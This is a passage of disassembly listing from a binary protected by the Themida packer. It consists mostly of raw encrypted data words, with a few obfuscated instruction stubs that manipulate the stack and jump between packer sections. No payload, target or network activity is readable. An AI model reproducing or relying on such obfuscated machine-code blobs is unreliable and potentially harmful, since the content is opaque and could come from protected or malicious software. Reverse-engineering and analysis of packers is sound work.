4AF5E831h, 5177B7D2h, 1801238Eh dd 37E3A532h, 11B5931Bh, 0D755F0E3h, 29D2C697h, 0C4EC475h dd 0CD3F589h, 0B411B591h, 54E8A22Fh, 7DA1B7F9h, 0AC222CC8h dd 0F136C482h, 0D9B4910Fh, 0B4729F81h, 70158358h, 52085DFAh dd 36780DFBh, 0A3057567h, 17FB55BCh, 0FC72FF04h, 99249762h dd 0F59A08D1h, 520A80B1h, 297D08FBh, 5245145Ah, 9CA123B7h dd 49D36E61h, 0C06C871Fh, 85D0DEh, 55E20000h, 0D18F1FF8h dd 2EF34721h, 0DC5D01BAh, 7C11FF56h, 61614F26h, 0B64EA04Fh dd 0DE6D5E11h, 3D61EE77h, 91D57264h, 6820A844h, 77ACDEC8h dd 0B8A2F885h, 5B7D233Ah, 11B62594h, 8F5AA72Ch, 3FAD687Dh dd 2A8CC08Ah, 11B62545h, 6CE268FDh, 0D1706108h, 388B1B5Dh dd 28D4D87Bh, 98000000h, 0AD21E0D1h, 3DD2C09Fh, 936B6769h dd 301211B5h, 6B04F22Dh, 0AC9AB8B4h, 0DA6D5C2Dh, 6BE87584h dd 12D7F1h, 0C0390000h, 67693DD2h, 11B5936Ah, 0D40F1636h dd 85BB21E6h, 0B0BF1155h, 1011B591h, 880D4FC3h, 9B3D7139h dd 11B591D4h, 2F93E76Ch, 0F0819589h, 84DA2B0Fh, 4F02F1B8h dd 877FC9E6h, 0C549E9B3h, 0A3EB9C0Ch, 88195486h, 169CC758h dd 0D841B178h, 0F00125EAh, 0C8CD2F73h, 2CFD3179h, 0B9870BBCh dd 16367BB1h, 9338A607h, 8075432h, 0C34053ACh, 0DB76289Fh dd 0A87A3574h, 3C238584h, 841E4075h, 0EE7CF27Fh, 1BAC1CD7h dd 8748B881h, 7602FDE3h, 0F68E1E40h, 8F8A1EFh, 9C122347h dd 28B45545h, 0D19E3074h, 711E4076h, 5B5C6EE4h, 41E6D263h dd 893EAC7Dh, 0CDC02705h, 0C0CD7832h, 41CC8EC1h, 0D4FF2000h dd 1580FF73h, 7B2FE0D0h, 877674FAh, 0AC375F59h, 0BD6CDB7Ah dd 5FF4E24Fh, 0B86DEA0Bh, 53E2B847h, 359FDFh, 5B2D0000h dd 55E6D263h, 0AB544811h, 91561927h, 0BDEA11B5h, 69045846h dd 320E8BF9h, 0D0C06F55h, 8455013Fh, 5A05BB11h, 0E611B591h dd 389A109Dh, 2D3F1Ah, 5B010000h, 0A0168A63h, 0B591610Eh dd 1794E111h, 897DA253h, 0E8BAAF0h, 6C735532h, 0CF11B591h dd 1155AA66h, 21B55A48h, 3FD0C003h, 0C085BB01h, 626C32CDh dd 11B010DFh, 5016BB29h, 247A07F9h, 12F9E6D8h, 3C4911BAh dd 83162FA9h, 7BB6CF2Dh, 9534A588h, 9D09408h, 0AF66EC95h dd 806F4141h, 0C011BA12h, 0C7036B3h, 0BD0695Dh, 0B9B8EE97h dd 59EEDC35h, 0AE3DAC05h, 4572205Eh, 0C52DF09h, 38EF52C9h dd 21C6DA2Eh, 764D11B0h, 9D4CCFD6h, 51BF7A83h, 604620BCh dd 3BD87ED6h, 23h, 32CDC089h, 3E8F0E6Ch, 8C3DAD7Ch, 32645A06h dd 8C0FF0A4h, 73663747h, 0C00A42C8h, 5D508B92h, 0C0043AA2h dd 0E6C32CDh, 5A7C3E8Fh, 0FF081ECh, 0DB9B0152h, 0CDD89B6Eh dd 0C5742ADFh, 1101235Ch, 635BAF9Dh, 62AD98D2h, 0CDD168C8h dd 323D93DBh, 8E11B5CCh, 41F3F145h, 14845503h, 8D3EAE73h dd 22DDD009h, 15845516h, 262FC72h, 4CDB2B27h, 0B5E2856Ah dd 0FA83D11h, 0D559D693h, 0AC375F97h, 5860DB7Ah, 52000000h dd 178A635Bh, 0BA07366Ch, 1484558Eh, 9315DD57h, 0CB48677Ah dd 0AC106697h, 0B66A650Ah, 6345DD11h, 11B66A7Ch, 632BFC4h dd 72158455h, 0C5890D2Ch, 168455FFh, 0B6EAB855h, 0B9064F6Eh dd 5BECDC35h, 5585BB6Dh, 30761184h, 96D7A001h, 71AF7F09h dd 16DBFDh, 5B250000h, 55E6D263h, 0B5916C73h, 0AA66CF11h dd 0D0C06F55h, 85BB013Fh, 0B0BF1155h, 1011B591h, 23964FC3h dd 5CDB8CBCh, 18B9ADCBh, 0D8B7D739h, 7135B236h, 0B03AE26Fh dd 4195F11h, 0B12BD6C9h, 85D57A68h, 0C4AB0D41h, 7C11BA3Ch dd 3C1AC5F7h, 5DA611BAh, 0BA2881D9h, 62F25115h, 9D32A05Bh dd 5341A50Fh, 3B1AD87Fh, 0A8000000h, 6C32CDC0h, 0DB665900h dd 0B2E07687h, 39E0AA1Bh, 1B673BC6h, 0B591BAA5h, 70FD0611h dd 0BE10B6FAh, 0FF09Ah, 0E4D6AFF3h, 38AA0327h, 0EF0DD78Bh dd 8FED43D6h, 0BD48BB76h, 0CDC0312Fh, 8F0E6C32h, 71387C3Eh dd 2163C47Dh, 38493781h, 0D981AF23h, 0B40FF0FEh, 0C155F4E5h dd 0E18E2076h, 6117FAF4h, 7B645A14h, 0C717FAF4h, 0B5AB31BEh dd 0BF158455h, 0B5915619h, 1C99EA11h, 8372B746h, 179B9AC0h dd 0E0D061A5h, 0CDC00341h, 59870632h, 55168455h, 0DBC85112h dd 4E149169h, 0FA897AAFh, 88940274h, 2DCFDB7Bh, 83000000h dd 6D86694Fh, 0A93A0EB6h, 635B0725h, 8455E6D2h, 1307611h dd 0EFC18Dh, 4011B592h, 6F550533h, 13FD0C0h, 353F85BBh dd 1000000h, 0E6D2635Bh, 916C7355h, 66CF11B5h, 0E89105D4h dd 3D0F83B2h, 0D0C06F55h, 0BBA2BF2h, 0B5913E21h, 0F4718211h dd 158455C4h, 915619BFh, 99EA11B5h, 6C4961Ch, 7832CDC0h dd 0E843DB1h, 10C90856h, 0A01311B0h, 0F7E841E5h, 0A7B11248h dd 0FD0F69Eh, 0B311BA12h, 0ED73A522h, 0F0E188D8h, 8F210D51h dd 11BA12E0h, 51961360h, 0F52CA25Fh, 14E54702h, 8554E6A1h dd 0AAE26811h, 0B2FC4D48h, 7F3A8197h, 0B73BA8D1h, 0F2E6B7CBh dd 6EE41549h, 0F58FBE40h, 69F3000Fh, 0F6635B4Bh, 94C3430Dh dd 0D7E16EE9h, 84550341h, 0E2F7314h, 875E5188h, 9D543E7Ah dd 0DEEA77EDh, 72158455h, 17890D2Ch, 0AC375F29h, 0BD6CDB7Ah dd 48E9BD4Ch, 2B92C2h, 5B200000h, 55E6D263h, 0B5916C73h dd 0B18FD411h, 0D0C06F55h, 853B7F3Fh, 11B591DAh, 0D7C81D66h dd 4FC37228h, 3F85BB7Dh, 3Ch, 15845501h, 8E3BAD72h, 0C3724A08h dd 481155F5h, 0D72C915Ah, 7D2483A2h, 8B547AF0h, 0DC11B593h dd 81279F0Dh, 11B593DEh, 1E941162h, 553503A2h, 1384556Fh dd 0B727FE74h, 85BB3A16h, 6C32CDC0h, 0B010DF62h, 0AB72911h dd 0DE9B8154h, 3105DF71h, 164CFBECh, 871A233Dh, 0EABAC311h dd 0DAA43BFh, 870BB7E1h, 3CA05B4Eh, 0F491CD78h, 88DC627Fh dd 56CA782Fh, 2EA48ECCh, 0AE2104F7h, 21AE4F13h, 2F9E3F7Dh dd 7E29496Fh, 468F0FF5h, 635BF8E6h, 341E6D2h, 7832CDC0h dd 39A153CDh, 0D0C4ACF2h, 45C27337h, 189E31A0h, 5559872Ah dd 91B0BF11h, 0C31011B5h, 0AC8D094Fh, 37D6DB7Ah, 0E4000000h dd 0E6D2635Bh, 0FBDD1155h, 11B591F4h, 0ADB3074Ch, 11B591C2h dd 55DBF57Eh, 1484556Fh, 0D90E2F73h, 0F20327EAh, 9435A57Ch dd 32FBBBA4h, 0BE8C02C1h, 403Fh, 84550100h, 2337710h, 7FCECE8Ch dd 6C735541h, 0CF11B591h, 0C679D466h, 0C32C0CB0h, 557072F8h dd 1384556Fh, 810EB92Ch, 7FD65CDDh, 4598DA8Fh, 37C83D5Ch dd 0FBBB9EAAh, 173E394Eh, 1066128Ch, 32CDC0D2h, 3E8F0E6Ch dd 8C3DAD7Ch, 0EFD327D6h, 0F0BF31C9h, 735A870Fh, 3A67793Eh dd 0D2900C89h, 0CC004AFBh, 327E1C61h, 35A94D1Fh, 0EBDA0F8Ch dd 7FF30258h, 3E4B2751h, 12489D16h, 2FBD48BBh, 65CE7DAh dd 62C47B58h, 0B34E4107h, 0D4A216EFh, 0AABCEDF2h, 83005539h dd 616484DFh, 1045AFEh, 6628D3C6h, 32B845B7h, 3B6DD89Ch dd 8A2B1170h, 0E5D83185h, 3EAD045Ah, 8C7ED78Bh, 0DED2ABFFh dd 85DB0125h, 70261D80h, 0D28839A9h dd 0A6FC897Bh, 0E4D50A97h, 2A33D125h, 0DB41FCEFh, 0BAE09B0Eh dd 0F1Ch, 0F6F6600h, 53F96E5Eh, 644B99B6h, 90D258A5h, 663CD3C0h dd 3D611C8Fh, 8ED47364h, 6238C537h, 32681D8Bh, 82D86D5Bh dd 5509BC2Bh, 277B0CFCh, 0FDA15A4Eh, 0E3895376h, 4C381h dd 0EB830000h, 241C3304h, 33241C31h, 685C241Ch, 2A2h, 52240C89h dd 0C281E289h, 4, 4EA81h, 14870000h, 14895C24h, 6E4BB924h dd 0E9C1564Bh, 3EB85005h, 214A8F4Ch, 0E18158C1h, 296E2754h dd 9294C181h, 8B540649h, 0C4812414h, 4, 4EC81h, 0C890000h dd 24348124h, 0BCA321Dh, 8108428Fh, 321D0872h, 148B0BCAh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_545D4D ; --------------------------------------------------------------------------- dd 58FDCC82h, 4B9AA2B8h, 0FFC50306h, 41708DE0h, 0A7AC6C66h dd 0E8C53855h, 6B84657Dh, 929615Eh, 2CBE0251h, 0BE46B943h dd 37E72313h, 1D3CFE48h, 582A591Eh, 0D5AE0A38h, 658A9D00h dd 0EEA05013h, 8FA602h, 60513A25h, 14E83Bh, 0CAFC0000h dd 0F8F4C088h, 8DFD4B66h, 5C34F6D3h, 0A55B9C1Bh, 0E9527BCBh dd 10h, 0E4FD8098h, 8FD7C39h, 0C3D722BAh, 80DB33Eh, 1BB8595Bh dd 8129BAA2h, 735DC1h, 66F62B00h, 34FFD98Bh, 0DE90Eh, 0F6860000h dd 0EDEDD001h, 0A49D7628h, 5ADD2346h, 0F9F96057h, 0EA815B61h dd 22C727E0h, 85D38166h, 2F28183h, 52586ADBh, 815885B0h dd 997D82C2h, 0D8B70F25h, 0E0815352h, 28C89B4Dh, 31048F58h dd 18820Fh, 13E90000h, 40000000h, 0E1ACCBB8h, 6048F295h dd 0CDE8F011h, 0C3855EA9h, 0D88B77E4h, 6604EE83h, 338F081h dd 8D58FE81h, 850FFFFFh, 0FFFFFF86h, 8D19D080h, 4B9D2D8Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0BA5D6C80h, 8D89F4A5h, 6452A01h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B3C35343h, 3890Fh dd 0F4800000h, 0C99D8BDEh, 0C7064502h, 4503D585h, 715806h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BF0F775Eh, 5D85C7DAh, 64509h, 29000000h dd 4517D5B5h, 0A9B5FF06h, 6A06451Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0DB4EC357h dd 5CB397BBh, 1195FF3Ah, 6A06452Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 4133C352h dd 8B84110Ch, 45250195h, 0FF006A06h, 45312195h, 0EBC08B06h dd 84EFAE6Eh, 94197B84h, 98FB9FA4h, 8D7CE9F0h, 881A20FCh dd 48052C30h, 0AB6B584Dh, 59152925h, 0B3B10777h, 5E13C8Eh dd 131E94EBh, 84F43CD3h, 2276276Bh, 29C14BBh, 7FDA63E6h dd 0D5D31AADh, 0A2E58885h, 4BF58D17h, 2151D85Ah, 0EB168CDh dd 56EF50BCh, 9ACA262Eh, 70A72E59h, 3108CA7Ch, 1C8F597Dh dd 4B48635Ch, 0D89017CFh, 0E810F687h, 12h, 7456B53Eh, 3D422C97h dd 2A5613F3h, 67B69D28h, 8B665F20h, 0BD2959F2h, 64529FDh dd 5B96C181h, 0EE80000h, 0C5000000h, 39FD1F6Dh, 0E9F7543Bh dd 3883A079h, 5E942h, 4D940000h, 5F2EF86Ch, 16ACB8h, 0BE900h dd 0C9660000h, 657F6255h, 3F70009Eh, 8B31FF4Ah, 453145BDh dd 0B5335B06h, 6452579h, 0FCB9EB81h, 0FA8B6FC6h, 498DF381h dd 8A0F4B0Ah, 0Ah, 5E9h, 81E40500h, 0F38177C0h, 57719757h dd 2001B58Bh, 19890645h, 83D2B70Fh, 0BE6604E9h, 0E8818823h dd 1, 2A850Fh, 60600000h, 5E9h, 5B872300h, 0E180EAE6h dd 9D8B6180h, 64532FDh, 28E961h, 1020000h, 0A3F97B24h dd 1D9FF66Ch, 577F0442h, 2C5D9D89h, 7AE90645h, 0A8FFFFFFh dd 0E1A9265Fh, 26B8F568h, 7D19F2ACh, 8D8D5831h, 64B9F51h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 13C35040h dd 0BBA32E1Dh, 0A5766037h, 2A018D89h, 0BA660645h, 85C7FF81h dd 64503D5h, 678Ch, 0FE9h, 0F53BC800h, 0E9548529h, 46320148h dd 483FFE11h, 95D85C7h, 645h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0E8D85BC3h dd 6820FE5h, 89000000h, 4528518Dh, 29B5FF06h, 6A06452Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0FA2DC350h, 2B3D9D89h, 95FF0645h, 6452A11h dd 0C68B6653h, 0FF006A5Ah, 45312195h dword_5A7EC4 dd 0EBC08B06h, 0DC8AE97Ch, 4FFD6DC3h, 0AA89FDBh, 0B9F11206h ; DATA XREF: Themida_:005407C4o dd 0BBCCC0F0h, 5C94B12Eh, 2C37A7FBh, 9D13F062h, 479CC7FFh dd 5F1FFFA5h, 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh dd 9F91279Ch, 0F14C48CEh, 0CCE47AD3h, 6AFE421Fh, 980A467h dd 3792C7B5h, 3870C3B1h, 20B10229h, 0A116F1B9h, 7C00BAF6h dd 68206FAh, 19D955Ah, 0A85FCA2Dh, 17B4CCAh, 0A9A09F63h dd 35E70A6Bh, 7B9E0E03h, 0A28D8D9Bh, 8B064BA0h, 450DA585h dd 18D8906h, 8A06452Ah, 8E9D3h, 66220000h, 16CCCDDDh, 85C7BE96h dd 64503D5h, 5B34h, 455EECBBh, 5D85C750h, 64509h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 9BBDC355h, 7FC9000Dh, 533F8582h, 10CDBD01h dd 0FF5A0645h, 453005B5h, 6860F06h, 89000000h, 452A258Dh dd 1195FF06h, 6A06452Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0C37EC350h, 38351AD7h dd 53602E34h, 13E9h, 387EFE00h, 640DB737h, 1A8CC25Fh, 407533DCh dd 4EC84789h, 0A59D895Eh, 6106451Dh, 0B759D31h, 6A0645h dd 312195FFh db 45h byte_5A8015 db 6, 8Bh, 0C0h ; DATA XREF: Themida_:00540998o dd 1FD81FEBh, 0A01546BEh, 278E4C0Fh, 94FB9BE3h, 55AF742Eh dd 60D22968h, 0C3AC2D3Bh, 0CFA88A3Dh, 978D8D8Ah, 6A064BA1h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0BDC3C357h, 1593325Ch, 0FABF0F0Bh, 2A018D89h dd 6A0645h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0C6B93FC3h, 0E9F59C5Dh, 13h, 41309F6h, 35FF5BAEh dd 0AD19828Bh, 0C37E2B44h, 8B351AD7h, 452C719Dh, 0D585C706h dd 10064503h, 0C700005Eh, 45095D85h, 6, 318D8900h, 0FF06450Dh dd 451281B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0EDD4375Fh, 0D128BEA9h, 2820F57h dd 8A000000h, 816658C6h, 0FFFA48E7h, 452A1195h, 6A31B406h dd 2195FF00h db 31h, 45h word_5A810A dw 8B06h ; DATA XREF: Themida_:0053ECA4o dd 0F649EBC0h, 94FC4103h, 0ACD916F9h, 54BEECFh, 0AA202C3Dh dd 46023C01h, 0DBF59D61h, 0E4244C2Dh, 0D0B112C6h, 43E6E27Dh dd 0EDE664CEh, 10DA6AB3h, 1BA56B12h, 382D0F67h, 15D3DFCh dd 0D72894EDh, 0A530D729h, 9FB70972h, 14D235D4h, 0DE8h dd 69BB2D00h, 179BEFCBh, 708C0CCh, 0BA665178h, 0E958AAFAh dd 0Ch, 0A6485814h, 9C295AA2h, 77E13E01h, 691CC081h, 0B5890000h dd 64500EDh, 0BFh, 8B80B700h, 8166380Ch, 816764C2h, 0E0A305C1h dd 919D3348h, 81064523h, 68C1E9E9h, 14E97Bh, 0C0E70000h dd 826DA65Dh, 39468A1Bh, 450697FEh, 79F64E12h, 0C1810D67h dd 47CE2B7Fh, 0B6D28166h, 800F51BFh, 6, 0F9B4C681h, 48F6D37h dd 0FF78B38h, 0F83h, 0AE900h, 482C0000h, 0D4FC016Ah, 0B376C6D0h dd 0F04EF83h, 184h, 0FF81F800h, 0FFFF97C4h, 1E850Fh, 0D6810000h dd 2B508271h, 28E9h, 11F9A900h, 87E9FDCFh, 0F6E92A71h dd 0C654BC72h, 0EFE14682h, 5870Fh, 22BB0000h, 0E965E320h dd 0FFFFFF57h, 369C88D6h, 0A48D8D11h, 6A064BA3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 4CCDC357h, 8A9BF381h, 0FA8A699Bh, 2A018D89h, 6A0645h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0D21C05C3h, 7166CED5h, 85C7BAFBh, 64503D5h, 6768h, 4830Fh dd 0BB660000h, 95090751h, 6452A55h, 95D85C7h, 645h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0F30223C3h, 0AE80Eh, 3BDF0000h, 370A1B02h, 63D14819h dd 26198509h, 665F0645h, 0B5FFF78Bh, 6450495h, 2BDD9523h dd 95FF0645h, 6452A11h, 68A0Fh, 85330000h, 64517D9h, 95FF006Ah dd 6453121h, 3FEBC08Bh, 7AB3FD49h, 2F0D38C4h, 2F8B40E7h dd 30071095h, 0C511CF75h, 0F2057E95h, 0D1CEC658h, 5E11A689h dd 0C8B022FDh, 6DCDE4C1h, 0C1D3C657h, 0D55D297Dh, 6122946Fh dd 0D040E661h, 0EC3C2B12h, 8DB8462Bh, 4BA50A8Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0C6F7EBFEh, 0E38072F3h, 18D89D1h, 8906452Ah, 451D658Dh dd 0D585C706h, 58064503h, 6A000068h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C505C350h dd 918EAE41h, 0AA145920h, 2B89858Bh, 0B5890645h, 6450621h dd 95D85C7h, 645h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 9C38CDC3h, 1BBE1AC6h dd 0E9958BC6h, 0E9064501h, 14h, 361B0E56h, 90244816h, 0AA7A31AFh dd 5269C073h, 99264FF2h, 2C85B5FFh, 6A0645h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9EB158C3h dd 658533B4h, 66064517h, 95FFDE8Bh, 6452A11h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 4C35040h, 92C34B5Ch dd 0F18B66DBh, 47D9D8Bh, 6A0645h, 312195FFh, 0C08B0645h dd 0F7533DEBh, 0B9ADEC1Eh, 166131C4h, 9D75EE11h, 5670E121h dd 0C7691FB9h, 56FE9656h, 0AA8A27AFh, 11EF2123h, 6ACCE1E5h dd 0EBA4F09Dh, 4F14DC55h, 7AA82F88h, 8B8753EBh, 4A10A2B4h dd 0E9F1F6B6h, 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 64BA55Ah dd 3D08428Bh, 78263845h, 138850Fh, 428B0000h, 184A8B0Ch dd 0F0BBC8D3h, 337E1D13h, 4E883C3h, 2A018589h, 588B0645h dd 8BF88B04h, 4A8B1042h, 0BEC8D318h, 0EC2305C5h, 0C72BC633h dd 83FCE083h, 858904E8h, 64503D5h, 8914428Bh, 45095D85h dd 18428B06h, 0B0E953h, 0B5FF0000h, 6450495h, 0B9E9h, 61B5FF00h dd 0E906450Bh, 0AEh, 30F5B5FFh, 0A3E90645h, 0FF000000h dd 452A29B5h, 98E906h, 0B5FF0000h, 6450631h, 8DE9h, 81B5FF00h dd 0E9064512h, 82h, 3005B5FFh, 77E90645h, 0FF000000h, 4523ADB5h dd 6CE906h, 0B5FF0000h, 6451EA9h, 61E9h, 85B5FF00h, 0E906452Ch dd 56h, 28CDB5FFh, 4BE90645h, 0FF000000h, 4511C5B5h, 40E906h dd 0B5FF0000h, 64522EDh, 35E9h, 71B5FF00h, 0E9064524h dd 2Ah, 2C55B5FFh, 1FE90645h, 0FF000000h, 4510ADB5h, 14E906h dd 0D88B0000h, 0BB8h, 0E3F76600h, 0A5BB8D8Dh, 0C803064Bh dd 95FFE1FFh, 6452A11h, 1858B5Bh, 3906452Ah, 850F0458h dd 0Fh, 0FF016A53h, 45312195h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah dd 0D4C96AB8h, 8BE0FF77h, 45305585h, 0A98D8D06h, 89064BA6h dd 0C38B0141h, 0BE8h, 88906700h, 0E6D6D686h, 0E0E596FFh dd 6850Fh, 66500000h, 58D4D0BAh, 17850F5Bh, 0E9000000h dd 12h, 597F66A4h, 0EC11C499h, 0FE7193AEh, 0D080959Fh dd 0C38161D2h, 747Eh, 0AE8h, 516ED300h, 0CC906BFFh, 0F2F5DEBh dd 38Ch, 0F0BF0F00h, 60FF2B5Eh, 6840Fh, 0E9810000h, 31627D72h dd 0CAB70F53h, 34FF6158h, 0EE91Fh, 42D30000h, 8C7AABAAh dd 363211B2h, 0B4A1645Fh, 0E2EA8159h, 812D1A9Fh, 7478D0C1h dd 8297B81Bh, 0E9816B53h, 5BBA48E1h, 0C181F78Bh, 3A44EDD1h dd 0F551C38Bh, 0E93B048Fh, 6, 0ABAE947Bh, 81FC175Eh, 17949EEFh dd 9E874h db 2 dup(0) word_5A86F6 dw 55EBh ; DATA XREF: Themida_:0053E058o ; Themida_:0053FBFCo dd 884F14DCh, 667AA82Fh, 815ED08Bh, 17949AC7h, 0D18B6674h dd 8C60FF81h, 850FFFFFh, 0FFFFFF8Ah, 0E9C78B66h, 0ABh dd 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh, 4592B395h, 0B395A1F4h dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h dd 94E7A601h, 0B383323Dh, 0E943A108h, 129Bh, 4BAA7468h dd 0D573E906h, 7A68FFF9h, 0E9064BABh, 0FFF9D569h, 4BAC5568h dd 0D55FE906h, 0AD68FFF9h, 0E9064BADh, 0FFF9D555h, 4BAE4B68h dd 0D54BE906h, 68FFF9h, 0E9064BAFh, 0FFF9D541h, 4BAFA768h dd 0D537E906h, 7768FFF9h, 0E9064BB0h, 0FFF9D52Dh, 4BB12E68h dd 0D523E906h, 0B368FFF9h, 0E9064BB2h, 0FFF9D519h, 4BB38D68h dd 0D50FE906h, 0FE68FFF9h, 0E9064BB4h, 0FFF9D505h, 4BB62E68h dd 0D4FBE906h, 0F068FFF9h, 0E9064BB7h, 0FFF9D4F1h, 4BB8DB68h dd 0D4E7E906h, 0C633FFF9h, 584C9D0Fh, 0FCEC3DAFh, 9908D14Bh dd 35A376F6h, 324A0C90h, 4DDF7462h, 0EF7D0AFCh, 821AA91Ah dd 23B944B7h, 0DD822466h, 65180139h, 0CDC03C14h, 92C87B6Ah dd 0BB50BE63h, 95C956E7h, 0AE3EC93Ch, 4B148ACEh, 0F511B591h dd 0EE36DEF8h, 8E1F8626h, 43E4611Ah, 0B096C1C0h, 0D0820871h dd 940A44F5h, 0FF1895Eh, 0EBD78BD8h, 6535CEC2h, 0FBA99C43h dd 5BDF2417h, 0FBAB5E75h, 11143417h, 992A9A43h, 0BC43A315h dd 4910DEC0h, 0BC708F56h, 453C6B5Eh, 590272F8h, 0CE000000h dd 4B039563h, 2DA108D3h, 8B625B1Fh, 46B4691Ch, 0A34A0481h dd 521E9431h, 0AE5F4F1Eh, 13AE21F8h, 6921AE4Fh, 0B591A8B7h dd 47CB1811h, 0F09E2D79h, 43B1780Fh, 0E2D0EEAAh, 3DBA25CAh dd 1155FAE8h, 0B8CD6AE0h, 0AFE7FCE2h, 0A3BD17FAh, 0C4E6C09Ah dd 0D6B1DEBFh, 3000000h, 6C32CDC0h, 3C622795h, 93D77265h dd 0A03CC73Ah, 0B59FACAEh, 0C6817411h, 65209366h, 0BE2CFDC1h dd 0F6D78509h, 0DDF33747h, 11B59512h, 0EDD125AEh, 0F0941BCBh dd 2474A50Fh, 0FA5D42Ah, 0D49A028Fh, 5F0E40F1h, 6A56DC71h dd 42A313B4h, 1426AF16h, 8244239h, 1367ED8Dh, 5F10FEAFh dd 926FF28h, 666E38Ch, 8B07F7A6h, 43714A15h, 0E06DF61Eh dd 0B93DC83Bh, 16857260h, 0A50E2F73h, 73040CC6h, 2204813Eh dd 712DD7CCh, 0E84F0981h, 0B400000Fh, 0CD1C8047h, 6DBC20D9h dd 8950CC7Dh, 24F5771Ah, 0C98B11B6h, 50F5E3B1h, 0FE8B7DCCh dd 9B2A9B6Eh, 3AC53801h, 1A7E7A2h, 18013B5Eh, 0C0B395E2h dd 5AAF3DD2h, 0CB92DC67h, 0C78074D9h, 594D247Ah, 31AF23A0h dd 0D3625B03h, 9DF1259Bh, 60A40FF0h, 0FA95A14Eh, 5ED42117h dd 7B226CF9h, 717ADC8Dh, 3E35366Eh, 0A214EDB1h, 33B041E5h dd 0EAF9E7BFh, 0A017FAB6h, 26F79DA0h, 0F64F13B8h, 10214506h dd 4D591F93h, 1ADEBFCBh, 7DA65F53h, 0BB4F4A81h, 7D3DB1D8h dd 0B8h, 32CDC04Fh, 6227956Ch, 9FB8923Ch, 8D0011B5h, 2C9F6AF2h dd 2EEFCD91h, 9B0EDF9Fh, 37BBBAE0h, 9481554Bh, 5D40FF0h dd 8EAFF396h, 84DA6759h, 0D56E175h, 88F4D19Fh, 0FAA84916h dd 6A138717h, 559E0534h, 982086C8h, 2A164246h, 0DAC891D9h dd 9AC0796Dh, 0BB8E1E9Bh, 90B89C4Dh, 0CBF3E128h, 2A1C644Eh dd 3971712Dh, 0EE29Fh, 864DBA00h, 26DFD326h, 0C28373C6h dd 6D208F5Ah, 17BC2AFFh, 0E9AB3395h, 3D656FBh, 0A168F491h dd 3E0B9130h, 0EDAC30CBh, 3C640BADh, 93DC1801h, 3DD2C0B5h dd 403AAC7Dh, 0B591816Eh, 37B4C111h, 0E9DC2DA3h, 3FEECE5Eh dd 0B4B63CD1h, 6C32CDC0h, 0DB665900h, 8CCD7687h, 6CBB4216h dd 0F5E821B5h, 66E3A012h, 2C33306h, 922FA148h, 0F1A92DCCh dd 5242A518h, 0DBA834B1h, 0E7D91D1Ch, 11B66BF8h, 0C5B73B48h dd 873971C0h, 0FF163F3h, 11193045h, 20B65948h, 8594441Eh dd 5C50191Fh, 0A86D2FA3h, 1F7F5119h, 0A10DC0C5h, 0E0C61A54h dd 15CAE5FFh, 0E4BC3243h, 0F4863796h, 133DBBD2h, 0B8F20314h dd 42CA8C8Dh, 169C40E4h, 751083AAh, 14AF22F7h, 0FDEDD832h dd 7365A56Eh, 0E07h, 0FB612895h, 9B01BA2Eh, 3FAD5E4Eh dd 0D448FBEAh, 6AF29705h, 0D6C4D0E8h, 6C5EAB31h, 0BFC4DDFh dd 0A619E07Ch, 8608811Bh, 13D3F20h, 52768318h, 6C32CDC0h dd 1E61CC00h, 8C723448h, 8B452A02h, 68FD11B6h, 0AD58E3CFh dd 0A72B82C1h, 0C839D0F5h, 0DCF2BC39h, 0FF1959Eh, 1351CB18h dd 6D430BBAh, 1636B3A1h, 0AC1A8E1Fh, 40AF650Ah, 0B88DD1Eh dd 1159A657h, 0F4AA5548h, 3799F145h, 1E40B11Ch, 8BCFD672h dd 0E505C61Bh, 0E3D8DD48h, 1532BB96h, 48D181h, 5BE30000h dd 0D29BD362h, 0E6AA20E3h, 